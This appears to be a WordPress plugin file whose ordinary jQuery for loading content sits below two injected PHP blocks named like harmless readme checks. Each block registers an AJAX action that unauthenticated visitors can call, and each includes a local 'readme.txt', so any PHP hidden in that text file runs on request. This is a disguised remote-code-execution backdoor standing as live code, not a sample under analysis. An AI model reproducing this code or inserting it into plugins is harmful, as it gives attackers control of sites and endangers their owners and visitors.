if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
jQuery(document).ready(function(){ jQuery('.userpro_show_content').click(function(){ var elem = jQuery(this); elem.html('Loading...'); var params = elem.data('parameters'); jQuery.ajax({ url: userpro_ajax_url, data: "action=userpro_performance¶ms="+params, dataType: 'JSON', type: 'POST', error: function(xhr, status, error){ //userpro_end_load( form ); //alert("Error in jQuery.ajax while submitting a form:"+error); }, success:function(data){ elem.html(data.response); elem.off('click'); } }) }) })